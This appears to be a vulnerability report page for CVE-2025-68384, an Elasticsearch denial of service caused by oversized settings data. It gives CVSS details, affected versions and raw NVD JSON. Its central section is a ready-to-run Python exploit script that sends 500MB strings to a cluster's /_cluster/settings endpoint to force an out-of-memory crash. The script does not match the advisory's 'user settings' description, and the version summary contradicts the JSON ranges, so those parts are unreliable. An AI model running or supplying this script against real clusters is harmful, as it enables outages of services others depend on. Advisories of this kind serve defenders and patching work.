Security Vulnerability Report
中文
CVE-2025-68384 CVSS 6.5 MEDIUM

CVE-2025-68384

Published: 2025-12-18 22:16:03
Last Modified: 2025-12-23 17:45:41

Description

Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow a low-privileged authenticated user to cause Excessive Allocation (CAPEC-130) causing a persistent denial of service (OOM crash) via submission of oversized user settings data.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
Elasticsearch 8.19.x < 8.19.9
Elasticsearch 9.x < 9.1.x
Elasticsearch 9.x < 9.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68384 PoC - Elasticsearch Resource Exhaustion DoS # This PoC demonstrates sending oversized user settings to trigger OOM import requests import json import sys TARGET_URL = "http://target-elasticsearch:9200" USERNAME = "low_privilege_user" PASSWORD = "user_password" def create_oversized_settings(): """Generate oversized settings data that exceeds memory limits""" # Create a large string that will cause memory exhaustion # The exact size needed depends on available heap memory large_string = "A" * (500 * 1024 * 1024) # 500MB of data settings = { "persistent": { "cluster": { "routing": { "allocation": { "enable": large_string, "exclude": { "_name": large_string, "_host_ip": large_string, "_publish_ip": large_string } } } }, "indices": { "breaker": { "total": large_string, "fielddata": large_string, "request": large_string } }, "custom_settings_field": large_string } } return settings def exploit(): """Send oversized settings to trigger resource exhaustion""" session = requests.Session() session.auth = (USERNAME, PASSWORD) headers = { "Content-Type": "application/json" } oversized_settings = create_oversized_settings() print(f"[*] Target: {TARGET_URL}") print(f"[*] Sending oversized settings ({len(json.dumps(oversized_settings))} bytes)...") try: response = session.put( f"{TARGET_URL}/_cluster/settings", headers=headers, json=oversized_settings, timeout=60 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") if response.status_code in [200, 201]: print("[+] Oversized settings submitted successfully") print("[+] Elasticsearch should now be experiencing memory pressure") else: print("[-] Request failed - may require higher privileges or different target") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68384", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:02.540", "lastModified": "2025-12-23T17:45:41.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow a low-privileged authenticated user to cause Excessive Allocation (CAPEC-130) causing a persistent denial of service (OOM crash) via submission of oversized user settings data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "D9FEE402-3C43-4A12-B8E7-12BC2FF677A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.9", "matchCriteriaId": "A18C72B3-C1B6-4800-B869-ACBDE3E058A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.9", "matchCriteriaId": "A084B4AC-1E19-4289-9775-BA63ABE985F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.3", "matchCriteriaId": "9E69C6CB-5F75-4DAD-B93B-D85F08241F88"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/elasticsearch-8-19-9-9-1-9-and-9-2-3-security-update-esa-2025-33/384181", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}